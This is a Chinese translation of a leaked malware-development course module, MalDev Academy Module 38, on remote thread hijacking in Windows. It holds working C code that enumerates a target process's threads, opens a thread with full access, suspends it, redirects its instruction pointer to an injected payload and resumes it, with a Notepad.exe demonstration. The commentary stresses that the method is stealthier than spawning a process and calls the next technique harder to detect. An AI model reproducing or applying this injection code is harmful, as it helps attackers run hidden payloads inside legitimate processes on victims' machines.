模块 38 - 线程劫持 - 远程线程枚举
恶意软件开发课程 - 线程劫持 - 远程线程枚举
模块 38 - 线程劫持 - 远程线程枚举#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
线程劫持 - 远程线程枚举#
简介#
本模块介绍如何使用 CreateToolhelp32Snapshot 枚举远程进程的线程。对上一模块中展示的 GetLocalThreadHandle 函数进行了少量修改,使其可以针对远程线程工作。
逻辑保持不变,即使用 CreateToolhelp32Snapshot、Thread32First 和 Thread32Next 来枚举目标进程的线程。针对远程进程时的区别在于,主线程也是劫持的有效目标。
💡 初学者提示:为什么远程主线程可以劫持?
在本地进程中,我们不能劫持自己的主线程,因为主线程负责运行代码。如果主线程挂起自己,它就无法再运行
SetThreadContext和ResumeThread来完成劫持过程。但在远程进程中,被劫持的线程和我们(注入者)所在的线程是相互独立的。我们可以放心地挂起远程的主线程,修改它的状态,然后再把它恢复,这不会影响我们自己程序的执行。
远程线程枚举函数#
GetRemoteThreadhandle 将枚举远程进程的线程。它需要 3 个参数:
dwProcessId- 这是目标进程的 PID。dwThreadId- 指向将接收目标进程线程 ID 的 DWORD 的指针。hThread- 指向将接收远程线程句柄的 HANDLE 的指针。
GetRemoteThreadhandle 函数实现的一个额外区别是需要提供目标 PID。当针对本地进程时,这是不需要的,因为 GetCurrentProcessId WinAPI 会检索本地进程的 PID。
BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
HANDLE hSnapShot = NULL;
THREADENTRY32 Thr = {
.dwSize = sizeof(THREADENTRY32)
};
// 获取当前正在运行的进程线程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// 检索快照中遇到的第一个线程的信息
if (!Thread32First(hSnapShot, &Thr)) {
printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// 如果线程的 PID 等于目标进程的 PID,
// 则该线程在目标进程下运行
if (Thr.th32OwnerProcessID == dwProcessId){
*dwThreadId = Thr.th32ThreadID;
// 打开线程句柄
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
if (*hThread == NULL)
printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());
// 找到一个线程后就停止(或者可以根据需要继续查找更多线程)
break;
}
// 当快照中还有剩余线程时
} while (Thread32Next(hSnapShot, &Thr));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwThreadId == NULL || *hThread == NULL)
return FALSE;
return TRUE;
}c远程线程劫持函数#
这部分类似于以前模块中看到的劫持函数。检索远程进程句柄,将 Payload 注入到远程进程中,最后劫持线程。
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_ALL
};
// 挂起线程
SuspendThread(hThread);
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 更新指令指针
ThreadCtx.Rip = pAddress;
// 设置新的上下文
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[#] Press <Enter> To Run ... ");
getchar();
// 恢复运行
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}c演示#
获取目标进程的 PID。在本例中,目标进程为 Notepad.exe。

注入 Payload 并劫持线程 ID 7136。线程堆栈显示 Payload 的地址是下一个待执行的任务。

最后,Payload 被成功执行。

🎯 总结#
在本模块中,我们学习了:
- 远程线程发现:使用
CreateToolhelp32Snapshot发现属于特定远程 PID 的线程。 - 获取远程句柄:通过
OpenThread获得对这些线程的完全控制权。 - 万物皆可劫持:在远程场景下,即使是正在运行的主线程也是劫持的好对象。
💡 关键要点
- 劫持远程现有线程不需要创建新进程 (Module 36),因此更加低调。它利用的是目标进程已有的资产。
- 风险与挑战:如果该线程正处于关键的系统调用或者持有某个锁,强制跳转到我们的 Payload 可能导致目标进程死锁或崩溃。在实际应用中,劫持那些处于可警报状态 (Alertable state) 或者不怎么活跃的后台线程会更安全。
📚 下一步学习
下一个模块将介绍 APC Injection (异步过程调用注入)。这是一种更优雅、更不容易被察觉的注入技术,它不需要手动修改线程上下文,而是直接向线程的队列中“派单”!